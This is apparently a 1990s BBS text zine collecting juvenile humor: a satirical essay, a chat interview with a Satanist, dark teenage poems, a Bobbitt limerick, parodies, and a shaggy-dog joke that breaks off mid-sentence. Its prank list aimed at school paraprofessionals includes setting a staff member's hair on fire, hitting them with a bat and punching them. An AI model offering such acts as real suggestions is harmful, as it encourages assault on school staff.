Jehovah's Witnesses stopped by my house to explain + this to me ("Hello, my name is Jurgin (YER'gin) and this is Greg (GREG) + and we'd like to ask you if you've ever given any thought to why the + world is like it is"). They gave me a pamphlet called, "Who Really + Rules the World?" I read the thing (it was three pages, and had neat-O + pictures), and whoa, I thought, these guys should write for [MiLK], I + mean this stuff was hilarious! + + But I digress. Anyway, the world is full of shit because of one + reason, and only one reason. No, not Ivy League football; the cause of + all our problems today is easily explainable. All people are blind. + ^^^^^^^^^^^^^^^^^^^^ + [The THESIS of this paper!!] + + Why do I make this assertion? Obviously. War. Where does war come + from? It comes when people read James Hetfield's Guide on "How to Take + Over Your Government" and take over their governments, and decide they + want to play politics themSELVES. Aha, but they obviously failed to + see that there are people already there playing politics all over the + place! Fighting ensues, and war starts. And it was all because the + original fool was too blind to see what would happen. + + Famine? Famine is caused by bad soil, but why does soil become bad? + Soil becomes bad because people cannot see their soil evaporating out + of the land when they overuse it. Blindness again! + + Pestilence, death, and plague all occur because people do not have good + enough eyesight to see germs. Obviously, if people could see germs, + they would avoid them, and nobody would get sick. If nobody got sick, + nobody would have pestilence, death, or plague. Vol¡a! If people were + not blind, clearly we would not have disease! + + Murder. Murder is caused by shitheads. + + MTV. MTV is caused because people are too blind to realize that people + who shake their vertebrata back and forth hard enough to break them, + all the while strumming an electrified banjo and wearing fishnet + stockings, are NOT cool. + + Suffering, conflict, and emotional wreckage are all caused because + people are too blind to see consequences. For instance, your average + Joe would step up to a lamprey, say, "shit, cool, I don't know what + this thing is, it's fucking ugly, cool, shit," and they'd probably kick + it or prod at it, just for fun. THEN they get this big primitive fish + sucking out their guts, and boy, weren't they blind? + + Lampreys. Lampreys are caused by Nyarlathotep, who is actually the + LAMPREY KING OF THE WORLD masquerading under the pretense of being a + great lamprey hunter. One day, people will not be blinded to his true + identity any longer, and then the lamprey problem will be solved!! + + ------------------------------ ... + Biff Thelmus Bonglemeister III o.o <--Kid from "The Far Side" + ------------------------------ ( - ) + + (Greetz to MoonChild+BeLIEve, Speedo, Flynn, Fallic, and "X" + Anti-Greetz to Nick) + +- Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä Ä Ä + +The Lovers + +They were in love. Anyone could tell. The way they looked in each other's +eyes, the way they stroked each other's hair...it was obvious. Each adored +every inch of the other. There were no secrets, no awkward moments, nothing +even slightly uncomfortable between these two. Nothing could keep them apart. +When they had known each other as children, they had been unseparable. As they +grew older, this friendship blossomed into a romance and their feelings toward +each other strengthened even more. At the age of 20, they eloped and got +married. When they told their parents, they were abandoned and thrown out of +every aspect of their families' lifestyles, but it didn't matter to them. They +had each other, so they had it all. + +They were the match made in heaven. They had the same likes and dislikes, +the same tastes and--in this day and age--the same hairdo. They were two links +in a chain, with their love linking them together, inseparably. Two pieces of +a puzzle whose match could only be found in each other. One was the picture, +the other the picture frame. Wild horses couldn't tear them apart; somehow +they'd find a way to get back together again. Richard loved Bryan, and Bryan +loved Richard. They were one. + +- Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä Ä Ä + + + 2^5 Fun Things To Do To Parapros + + ----------------------------------------------------------------------- + Parapros are such assholes, they need their own section in jail so they + don't ANNOY the fuck out of the other inmates. Numbers (1), (2), (4), + (8), and other powers of two are the ones you can easily do and are + quite effective, the other ones are equally effective but some of them + are harder to arrange. + ----------------------------------------------------------------------- + + 1. Walk up to them and shout "yaba daba doo" in their ears* + 2. Walk past them, and when they ask for a pass, fart in their FACE + 3. Trip over their desk while carrying a big pot of planting soil + 4. "I bet YOU never studied when YOU were in high school!" + 5. Bring friends, gather a huge crowd of people in a giant semicircle + around the hapless parapro. Jeer loudly and point and laugh. + 6. Pretend to stare at a nonexistent goiter on their neck. + 7. When a Biology teacher comes by, point to the parapro and say, + "look, a perfect example of a fungal growth!" + 8. Take away their crossword puzzle and FINISH IT YOURSELF! + 9. Offer to read their book to them out loud. + 10. Tell them the teachers are making more money than they are. + 11. Tell them the JANITORS are making more money than they are. + 12. Wrap up a can of Spam and give it to them for Christmas. When they + open it up, laugh loudly, and say, "ha, ha, ha! Look, it's Spam!" + Walk away so nobody knows you gave it to them. + 13. Throw lampreys at them and WATCH THEM WRITHE IN AGONY + 14. If they have hair, put some potent developing fluid in it (from the + photography lab of course) and LIGHT IT ON FIRE!! + 15. If they are bald, use their head as a parabolic reflector, and mark + the focus with a permanent marker! + 16. Start a strip tease in the hallway in front of their seat, and when + they ask you what you are doing, say "whatever turns you on, big + boy" ("big momma" for female parapros). + 17. Take your Walkman out, and when they ask you to put it away, + pretend you can't hear them because the volume is too loud. + Conveniently sway your head so they can't touch your earphones. + 18. Take your Watchman out, and when they ask you to put it away, turn + to Channel 38 and make them watch TAMMY FAE BAKER!! + 19. Take your Game Boy out, and when they ask you to put it away, tell + them it's your English homework. Tell them to ask your English + teacher, and, when they leave, put the Game Boy away so everyone + will think they're crazy. + 20. Sprawl out on the ground, and when they tell you to get up, fake an + epileptic seizure. + 21. Sprawl out on the ground, and when they tell you to get up, point + out that they are more of a fire hazard than you are. At least YOU + get up and move after a while. + 22. Get lots of friends and stand around them so they can't see out.** + 23. Give them a birthday cake when it's not their birthday. + 24. Juggle in the hallway and walk by, pretending that you are too + concentrating on the balls to see them. + 25. Bring a big bat, and say "do you know what this is? This is a big + baseball bat." Hit them on the head. + 26. Tell a parapro, "come quick! A fight in the hallway!" Take the + parapro with you when they are running behind you, turn around and + SLUG THEM A GOOD ONE! Tell them, "don't say I didn't warn you!" + 27. Walk up, do a Russian Cossack dance, and walk away. Don't say a + word. + 28. Take out a watergun, squirt yourself, and put the watergun in the + parapro's hand! Scream loudly, and sob "look what you did to me!" + 29. Ask to go to the bathroom, come back, and ask to go to the bathroom + again. When they finally refuse, whip it out and PISS ON THEIR + LAP! + 30. Set up a big traffic light right next to the parapro's seat. + 31. With a friend, juggle three bowling balls (two if you're not very + experienced) over the parapro's head. When they tell you to stop, + tell them to cite where the FUCK in the rulebook it says you can't + juggle bowling balls over a parapro's head!! + 32. Eat bubble gum, and stick it on their forehead! + + --[eNDNoTeS]----------------------------------------------------------- + + * This plan may not work at the first try. What you must do is keep + consistency. For example: + + PARAPRO: Hey, this hall is closed. + KID: (walking up) Yaba daba doo! + PARAPRO: Hey kid, do you hear me? This HALL IS CLOSED! + KID: (breezing past) Yaba daba doo! + PARAPRO: Hey! Hey, show me your ID! Hey, kid! + KID: (walking away) Yaba daba doo! + PARAPRO: (getting up) Hey! Hey, come back here, kid! + KID: (entering bathroom of opposite sex) Yaba daba doo! + + + ** They can't yell at you for this one! You're not doing anything + wrong at all, you're just standing in the hallway! Make sure you + have enough friends to completely block their view. Keep a 0.5' + radius for safety, parapros have killer Garlic Breath. + +- Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä Ä Ä + +Thoughts, Memories, And Questions +--------------------------------- + +Somewhere over the rainbow +Even if it's black and Blue +I get this glimpse of thought +Is it something I should do? + +Is it right or wrong +What do I know? +Don't even know why I'm thinking this +When it is as clear as the sky + +The waves come crashing +No way to get out of the way +What to do, what to say? +Why can't it just be out of the way? + +The faces of truth are always ugly +But the face of deception are always beautiful +Which face do I have? +Which mask do i wear? + +I want to get rid of these plates of sorrow +No place to put them + +Want to find happiness +No place to drown myself in + +This memory game I play +Always turn on top +How could it not? + +The way things are +The way things were +One big melting pot with no one to eat it +The taste is sower +The taste is bitter +I would eat it + +The blinding light of fate blinking in my face +Trying to turn my head from reality +Need sunglasses to shield my mind + +This life +This waste +This nothingness +Will all end in time. + +Swallow The Freak +----------------- +I can smell you from here +Your intent is quite clear +What you want is my fear +It's sad really +You're a victim of your own ignorance +Go ahead, feed off of me +Your hungar is that of humanity +And I don't want any part of it +My feelings are nothing to you +You don't care +I am to be digested and then casted aside +Have you no mercy? +Why must you do this to me? +I am different than you that is true +But is that reason to torture me? + +Empty +----- +Get away +Discover yourself +Reach out +Whip yourself + +Look at me +See the mask +Look at you +Find the task + +Make a choice +Feel the burn +Exorcise your right +Vertical hoist + +Drown me +In your eyes +My love +What do you see? + +Your love +Flowing through me +Not quite there +To catch your seed + +I am empty +No use to stay +To flimsy +To watch the play + + + +mother +------ + +You walk into my life +As if you are a part of it +You abuse and mistreat me +And expect me to love you + +I lock myself within +And keep you away +I hate you more than anything +With words I can't quite say + +I'm burning with hatred +You always feed the flame +I've always wanted +To forget your name + +You won't go away +You're having to much fun +What can i say? +When will you be done? + +Maybe someday you'll realize +That you pushed me way to far +By the time you see that +That I'm a massive scar + +You won't know until I'm gone +And then it will hit you +What you did to me +Lost your only son + +Power Trip +-------------- + +Decay the stay +Just get away +Distort the face +Just spread the waste +Whip the weak +Taste is sweet + +Open your eyes +They'll show you the way +Soon you will realize +You can't get away + +Now you're trapped +Didn't see it coming +You'll never forget +What kept you going + +To blind to see +To stupid to know +How high the fee +As innocent as snow + +Only one way out +And that is in +Find the thought +To help you win + +- Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä Ä Ä + +An Interview with a Satanist + + I took this opportunity to show the world the view of a satanist... +Now this Capture file here isn't for people to agree nor jeer Satanism... +it's just an informative guide to one Satanist's form of Religion. Please +read at your own risk, satanism captures have been shown to cause blasphemy +in laboratory animals. + +#01 real.. .... weird... oh well. So you're a satanist? + +#00 yeah.. its a lot different than most people think.. + +#01 I bet. So you worship the Anti-Christ? + +#00 NO!!! htere is absically no such thing as 'worshipping' in + satanism.. maybe if we did worship somehting, it would be ourselves most + likly + +#01 then you're not a Satanist, because you do not believe in + Satan. + +#00 yeah i am.. its a thing in the satnic bible.. we see satan + as the force of nature that is our dark sides, but there is also the thing + that worshipping somehting and putting yorself on your knees is degrading, + we try to put ourself in league with satan + +#01 I see. So you do not believe in any higher powers? + +#00 not really.. i dont believe there is a sucj thing as 'god' + its a myth + +#01 I see. Hmm. I have a lot of Pagan friends. do you consider + yourself a pagan religion? + +#00 satanism has its roots in paganism, since it is a really old + religion, its around as old as paganism .. in concept at times.. + +#01 I see. Hmm. I with I had my friend Connie here, he'd be real + interested in all this... actually, no, he's be yelling at you how wrong + your beliefs are :) + +#00 heh.. x-an love at its best.. i remember stuff like that.. + but i squashed those kinda guys quick.. logic always overcomes blind faith + B)~ + +#01 Hmm... you seem to be drooling there... anyway... Let's See... + so you think Satanism has to do with Blind Faith? err... I mean Satanism has + to do with Logic? + +#00 yeah, thats how it seems to me.. everything has to do with + logic.. since we can exoplain why about everything, and it is logical, not + like x-ianity, where the stock anser for everything is "jesus told me to" + +#01 Christianity has a lot to do with faith, probably too much. + So Satanism has answers to our reason of existence? and how we got here + in the first place? + +#00 is to say that the individual has a reason to be here, if it + were true, why do we have homeless? what purpose do they serve? and as to + how we got here, well, thats science's job to find our.. satanism is + concerned with the person, not the universe.. so to say + +#01 How 90's and 80's.... The Individual, not the group. So do + you believe in Magic? + +#00 yeah.. since he way enochian magic system (what satansm is + based on) is basically mind control.. theres is a saying that is very true + that todays science will become tomorrows future .. which is very true when + you look at it.. oh, and about the individual over the group, well, who do + you give a shit about more? you, or everyone? + +#01 Since I am a kid of the 80's, I'd say myself. So do you have + Magic Proficentcy? + +#00 hehe, htats a ad&d term.. you just have to know what to + do, and how. .and be in the right mind set, since you have to be able to + unleash a ton of the right emotion + +#01 Oh, so it's like a soap opera? ...do you need external things + to make magic, or is it all mind control? + +#00 its a hard thing to go into, the easiest thing would be to + read the spell section of the satanic bible, and the sattanic rituals.. b + asically all the external things (swords, music, etc) is to help you focus + your mind + +#01 Cool. How does a sword help you focus your mind? + +#00 is part or the ritual and ceremony.. hteres a few things to + do.. im not big on the stuff, i havent done much magic as of late.. too much + stuff happening. + +#01 Ahh, I see. So... why do you do all of these Rituals? do they + help you gain power somehow? + +#00 well, hteres some things ive done.. i know some things that + could help me in iffeent ways.. but what really is power? it comes in many + forms.. depending where you are + +#01 Is Barney a Satanist? + +#00 eheh.. no way.. since he preaches to love everyone + unconditionally.. thats totally non-satanic.. you should only love those who + deserve it.. those you actually want to + +#01 I see. Then is Jim Baker a Satanist? he only loved those who + helped him. I bet he doesn't love the guys that turned him in as a fraud. + +#00 hmm.. i duno, since there are many things that i use to kinda + 'seek out' a satanist.. i dont know much about him.. i didnt care what he + did, and i stil dont + +#01 Oh ok. How big is the 'real' Satanist community in the US + today? + +#00 how the hell do i know? for that.. its hard, since there + arent many churchs, and many keep it underground.. and you have to worry + about devil worshippers and stuff saying they're satanists.. all i know + really is that satanism is a recognized religion to the USA + +#01 How many 'real' Satanist do you know? + +#00 hm.. lemme think here.. me, vixen, matt, karen, that other + guy, and vince.. umm that makes abouyt 6? thers another.. 7 + +#01 7 is a lucky number. if you believe in that stuff. + +#00 heh.. yeah.. lucky hahaha + +#01 Ok, well, this has been educational, but I hear mommy + calling... she needs someone to scrub her back in the sponge bath... see yah + +----- + + One of the more Amusing things I found about the board this guy was +Sysop of was his Logoff Screen: + +ÝÛÛ» ÜÛ» ÛÛ» ÛÛ» ÛÛÛÛÛÛ» ÛÛÛÛÛÛÛ» +ÝÛÛº ßͼ ÛÛº ÛÛº ÛÛÉÍÍÛÛ» ÛÛÉÍÍÍͼ +ÝÛÛº ÛÛº ÛÛº ÛÛÛÛÛÛɼ ÛÛÛÛÛ» +ÝÛÛº ÛÛº ÛÛº ÛÛÉÍÍÛÛ» ÛÛÉÍͼ + ÛÛº ÛÛÛÛÛÛÛ» ÛÛÛÛÛÛÛ» ÛÛ ÛÛÛÛÛÛɼ ÛÛÛÛÛÛÛ» + Èͼ ÈÍÍÍÍÍͼ ÈÍÍÍÍÍͼ ÈÍÍÍÍͼ ÈÍÍÍÍÍͼ + + ÛÛ» ÛÛ» ÛÛÛÛÛ» ÛÛ» ÛÛÛÛÛÛÛÛ» ÛÛ» ÛÛÛ» ÛÛ» ÛÛÛÛÛÛ» + ÛÛº ÛÛº ÛÛÉÍÍÛÛ» ÛÛº ÈÍÍÛÛÉÍͼ ÛÛº ÛÛÛÛ» ÛÛº ÛÛÉÍÍÍͼ + ÛÛº Û» ÛÛº ÛÛÛÛÛÛÛº ÛÛº ÛÛº ÛÛº ÛÛÉÛÛ» ÛÛº ÛÛº ÛÛÛ» + ÛÛºÛÛÛ»ÛÛº ÛÛÉÍÍÛÛº ÛÛº ÛÛº ÛÛº ÛÛºÈÛÛ»ÛÛº ÛÛº ÛÛº + ÈÛÛÛÉÛÛÛɼ ÛÛº ÛÛº ÛÛº ÛÛº ÛÛº ÛÛº ÈÛÛÛÛº ÈÛÛÛÛÛÛɼ + ÈÍͼÈÍͼ Èͼ Èͼ Èͼ Èͼ Èͼ Èͼ ÈÍÍͼ ÈÍÍÍÍͼ + + + + + Þ Ý Þ + Þ Þ Ý Û Þ + Þ Þ Û Ý ÛÝ Þ ÛÝ Þ + ÞÝÞÞ Û Ý ÞÛ Ý Ý ÞÛÛ Û ÞÛ Ý + ÛÛ ÞÛÝ Û ÛÛ ÞÛ ÛÛÛ ÞÛÝ Ý Þ Ý + ÞÛ ÛÛÝ Û ÛÛ Û ÛÛÛ ÛÛÛ Þ Û Ý + Û ÛÝ ÛÝ Þ ÛÛÝ Û ÛÛÛ ÞÛÛÛ Û ÛÝ Û + ÛÛÛÛ ÛÛ Û ÛÛÛ ÛÛ ÛÛÛÛ ÛÛÛÛÝ ÛÛ Ý ßÛ Û + ÞÛÛÝ ÞÛÛ Û ÛÛÛ ÛÛ ÛÛÛÛ ÛÛÛÛÛÛ ÞÛÛ Ý Û Û + ÞÛÛ ÛÛÛ Û ÛÛÛÜ ÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÝ Û Ûßß + ÛÛÛ ÛÛÛ ÞÛÛ ÛÛÛÛÛ ÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛÛÛÝ ÞÛÛÛÛ Û ÜÛÝ + ÜÛÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛÛÛ ÞÛÛÛÛÛÛ ÛÝ ÛÛÛ + ÞÛÛÛÛÛÛ ÛÛÛÛ ÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛÛÛÝÞÛÛÛÛÝÞÛÛÛÛÛÛÛÛ ÞÛÛ Û ÞÛÛÛ + ÞÛÛÛÛÛÛ ÛÛÛÛ ÛÛÛÝÞÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛÛÝÞÛÛÛÛÛÛÛÛÛ ÛÛÛÝ ÛÛÛÛ + ÞÛÛÛÛÛÛ ÛÛÛÛÛÝ ÛÛÛÛ ÛÛÛÛÛÛÝ ÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÝÞÛÛÞÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛ ÛÛÛÛÛÝ + ÛÛÛÛÛÛÛÛ ÛÛÛÛÛÝ ÛÛÛÛ ÛÛÛÛÛÛÝÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÝÞÛÞÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛ ÞÛÛÛÛÛÛ + ÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÝ ÛÛÛÛÝÛÛÛÛÛÛÝÛÛÛÛÛÛÛÛÝÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛ ÞÛÛÛÛÝÞÛÛÛÛÛÛ + ÛÛÛÛÛÛÛÛÝ ÛÛÛÛÛÛÛ ÛÛÛÛÛÝÞÛÛÛÛÛ ÛÛÛÛÛÛÛÛÝÛÛÛÛÛÛÛÛÛÛÛÛÝÞÛÛÛÛÛÛÛÛÛÞÛÛÛÛÛÝÞÛÛÛÛÛÛ + ÛÛÛÛÛÛÛÛÞÛÛÛÛÛÛÛÛÞÛÛÛÛÛÛÞÛÛÛÛÛÞÛÛÛÛÛÛÛÛÝÛÛÛÛÛÛÛÛÛÛÝÞÛÞÛÛÛÛÛÛÛÛÛÞÛÛÛÛÛÝÞÛÛÛÛÛÛÝ +ÛÛÛÛÛÛÛÛÛÝÞÛÛÛÛÛÛÛÞÛÛÛÛÛÛ ÛÛÛÛÛÞÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛÛÛÞÛÛÛÛÛÛÛßÜÜÛÛÛÛÛÝÛÛÛÛÛÛÛÛ +ÛÛÛÛÛÛÛÛÛÛÞÛÛÛÛÛÛÛÞÛÛÛÛÛÛÝÛÛÛÛÛÞÛÛÛÛÛÛÛÝÞÛÛÛÛÛÛÛÛÛÛÛÝÞÞÛÛÛÛÛÛÛÞÛÛÛÛÛÛÛÝÛÛÛÛÛÛÛÛÝ +ÛÛÛÛÛÛÛÛÛÛÝÞÛÛÛÛÛÛÞÛÛÛÛÛÛÝÞÛÛÛÛÝÞÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛÛÛÝÞÛÛÛÛÛÛÛÞÛÛÛÛÛÛÛÝÛÛÛÛÛÛÛÛÛ +ÛÛÛÛÛÛÛÛÛÛÛÞÛÛÛÛÛÝÞÛÛÛÛÛÛÛÞÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÝÞÛÛÛÛßßÞÛÛÛÛÛÛÛÝÞÛÛÛÛÛÛÛÛ +ÛÛÛÛÛÛÛÛÛÛÛÞÛÛÛÛÝÜÛÛÛÛÛÛÛÛÞÛÛÛÛÛÜÞÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÞÛÛÛÛÞÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ +ÛÛÛÛÛÛÛÛÛÛÛÞÛÛÛÝÞÛÛÛÛÛÛÛÛÛÝÞÛÛÛÛÛÞÛÛÛÛÝÞÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÞÛÛÛÛÛÛÛÛÛÛÝÞÛÛÛÛÛÛÛ +ÛÛÛÛÛÛÛÛÛÛÛÞÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛÞÛÛÛÛÛÞÛÛÛÝÞÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÝÛÛÛÛÞÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ +ÛÛÛÛÛÛÛÛÛÛÛÞÛÛÝÞÛÛÛÛÛÛÛÛÛÛÛÞÛÛÛÛÛÝÞÛÛÝÞÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÝßßÛÛÞÛÛÛÛÛÛÛÛÛÛÛÝÛÛÛÛÛÛÛ +ÛÛÛÛÛÛÛÛÛÛÛÞÛÛÝÛÛÛÛÛÛÛÛÛÛÛÛÞÛÛÛÛÛÛ ÛÛÝÞÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÝÛÛÞÛÛÛÛÛÛÛÛÛÛÛÝÞÛÛÛÛÛÛ +ÛÛÛÛÛÛÛÛÛÛÛÛÞÛÝÛÛÛÛÛÛÛÛÛÛÛÛÞÛÛÛÛÛÛ Û ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÝÛÛÞÛÛÛÛÛÛÛÛÛÛÛÛÞÛÛÛÛÛÛ +ÛÛÛÛÛÛÛÛÛÛÛÛÝÛÝÛÛÛÛÛÛÛÛÛÛÛÛÝÞÛÛÛÛÝ ÝÞÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÝÛÝÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ +ÛÛÛÛÛÛÛÛÛÛÛÛÛÞÞÛÛÛÛÛÛÛÛÛÛÛÛÛÝÛÛÛÛÝÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÝÝÛÛÛÛÛÛÛÛÛÛÛÛÛÛÝÛÛÛÛÛÛ +ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ + + + How... well... Typical? + +- Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä Ä Ä + +Bobbitized + + +There once lived a couple and to all that could see +The picture of happiness perfect as could be +But late one night, after what some have called rape +(For no one really knows, save that fly on the drape,) +Lorena took up a knife and did a neat trick. +She went to her husband and cut off his (Bricks +Could not save him, as they'd saved little pigs +Nor houses of straw, nor houses of twigs. +What John needed was an armor suit... +That might have saved him from Lorena (the brute!) +For what she had done, was done out of meanness +To take out a knife and slice off his poor (Keanness +Of the surgeon's hands saved poor John B.'s life +From that mad-crazy woman with that much too sharp knife.) +The story will be told from the spring unto the fall +Of Miss Lorena Bobbit and the unkindest cut of all. + +- Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä Ä Ä + + Man-Dyslexic of Adventures The + ------------------------------ + III Bonglemeister Thelmus Biff By: + + evil. of forces the fight to tights colorful don would too he that + Spamcat and Thermofish and Underdog and Wonderwoman and Spiderman and + Batman and Superman of years and years watching after decided who Kant, + Immanuel of ancestor distant Kant, Clarque named man a was there time, + a upon Once. + + Spamcat. even and Thermofish and Underdog and Wonderwoman and Spiderman + and Batman and Superman like hero family a be to wanted he because + "fucking," not and "freaking" say to careful be always would he course + of but "do! I'll what that's grip, vise freaking a in testicles your + put and spleen your fry I'll buttocks, jellied of bowl pansied you here + back come" say would he well; really talk trash could he sir, yes + criminals, after running was he while storm real a up talk could He. + + him. hurt to going not was decided, doctors his know, didn't he what + and however, problem, a have to himself consider not did himself He + disorder. dyslexic genetic rare a had all had too, mother and sisters + his and grandfather, his and father, his because only Man-Dyslexic, + himself call to whimsy suffocating and pure of fit a in decided He. + + "girdle. utility" his involving usually escape of method a Man-Dyslexic + affording up ended usually and work to hours take would which trap + STUPID stupid a in him put would outright, him killing of instead and + him, capturing keep would they himself; Man-Dyslexic than bungling more + even bungling, pretty whole the on were villians The Nick. and Disease, + Veneral Poker, the Luther, Martin FatWoman, like names, interesting + likewise had all They him. fight to arose public in briefs Loom-the-of- + Fruit tight colorful donned also who villians crazy of lots wanted; he + what got Man-Dyslexic Eventually. + + contract. damned his revoked MGM, over took together, banded enemies + evil his all when match his met finally Man-Dyslexic. + + Man-Dyslexic. said "chip, good year, Bad." + +- Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä Ä Ä + + There one was a guy. I'll call him Harvey, because I am the +author, and it's my option to name him whatever I damn well please. +Well, this guy, Harvey, put an ad in the Newspaper. This ad was a "need +work" ad, and he needed work, as a khush-maker. + + Well some guys were sitting around at the Pentagon, reading the +newspaper when one of them came across Harvey's ad. + + "Khush-maker needs work?" said one of them. "What is a +khush-maker? Does the US military have any khush-makers? Do the +Russians have any khush-makers? (oh yeah, this joke is set about +8 years ago) I think we better hire this guy!" + + The rest of them agreed and they called Harvey up and asked him to +work for the U.S. Military. He asked when he should start, and they +said as soon as possible, so he took the next bus over to the Pentagon. + + When Harvey got there, one of the Military asked him exactly what +a khush was. + + "Well, I think it would be better if I showed you what I did," +was Harvey's reply. + + "Ok," said the Military guys, "show us." + + "Don't get too hasty, I need some supplies first" + + "Ok, tell us what you need, and we'll get it for you." + + Harvey told him that he needed a certain type of clay that +could only be found beneath one specific mountains in the Andes +Mountains of South America. He warned them about the fierce cannibals +and ferocious beasts that inhabited the area. + + Well the Military sent in an expedition of soldiers to go get +the clay. They waited a year, and the expedition hadn't returned, so +they sent a second, bigger expedition to go see what happened to the +first expedition, and get the clay. Two years later they hadn't returned +either, so the Military sent in a complete tank division along with +assault helicopters, and all that jazz, to level the area and get the clay, +which they succeeded in doing, despite heavy casualties. They never found +the original expeditions. + + The Military men gave Harvey the clay, and asked him to show +them some khush. + + "Well, I need some more stuff first. I need a special type of +metal. The only person who knows the location of this metal is a monk in +Tibet," said Harvey. + + So they sent out some marines to go to Tibet and find this monk +and ask him where the metal was. It actually wasn't that hard to find +him, he had a big neon sign above his cave. "See the monk on the silver +spike!" it said. When they went in, they found him sitting in meditation +upon a single, 3-foot silver spike. + + The monk got off his seat and greeted the marines "What can I +help you with my friends?" + + The marines asked him about the location of the metal, and he +told the that he did indeed know where it was, but that before he revealed +its location, they would have to answer his riddle, "My tines be long, +my tines be short, my tines end 'ere my first report. What am I?" (ok, +so I stole that riddle. The riddle itself isn't really important to the +rest of the story). + + Being military men (military intelligence and all that) the +marines had no clue as to the answer of the riddle. They threatened to +shoot the monk if he wouldn't tell them where the metal was, but the monk +then told them that if he died, they would never find the metal. So the +marines left in disappointment, and returned to the United States. + + When they got back they all got demoted for failing in their +mission, but since the rest of the Military couldn't figure out the +riddle either, they decided to have a national contest, with cash +prizes. + + Finally around 10 years later, some guy figured out the answer, +and he won the money, and the marines went back to the monk. The monk +remembered who the marines where, and asked them the riddle again. They +had the answer written down, and told him it, and then he gave them an +ingot of the metal. The marines returned, got promoted, and the Military +gave Harvey his metal. + + "Ok, now show us some khush" said the Military men. + + "I need some more stuff," said Harvey. "I need an aircraft +carrier of certain dimensions built (he gives them the dimensions) with +a big red "X" right here (points to the blue-prints)." + + "Well, we wish you would have told us this before, but I guess +we have no choice, but this is going to take a number of years. Is there +anything else you need while we wait?" + + "No, there is only one thing, but It can't gotten until just +before I make the khush." + + So the rushed up the aircraft carrier, and it was finished in 3 +years. They showed it to Harvey and it was to his liking. They then +asked him what the final thing he needed was. + + "I need some lava from a certain volcano in the Atlantic Ocean. +We need to go to the sight on the air-craft carrier and have a submarine +go down and get it," said Harvey. + + The Military men agreed, and the next thing he knew, Harvey was +on the ship being taken to the middle of the Atlantic Ocean. The submarine +went down and got the lava, and they gave it to Harvey. Harvey stuck it +into an oven that he made out of the clay, and had placed on the middle of +the red "X". He then took out the metal, which he had fashioned into a +sphere. He put that in the oven as well, and closed it up. + + "We have to wait five minutes now" said Harvey. + + "Well, we've already waited 15 years, what's another five minutes?" +said the Military men. + + Harvey looked at his watch, and at five minutes he told them it +was time. He took out a pair of tongs, opened the oven, and took out the +sphere, which was glowing red hot. He walked over to the edge of the +boat with the sphere, and then he dropped it into the 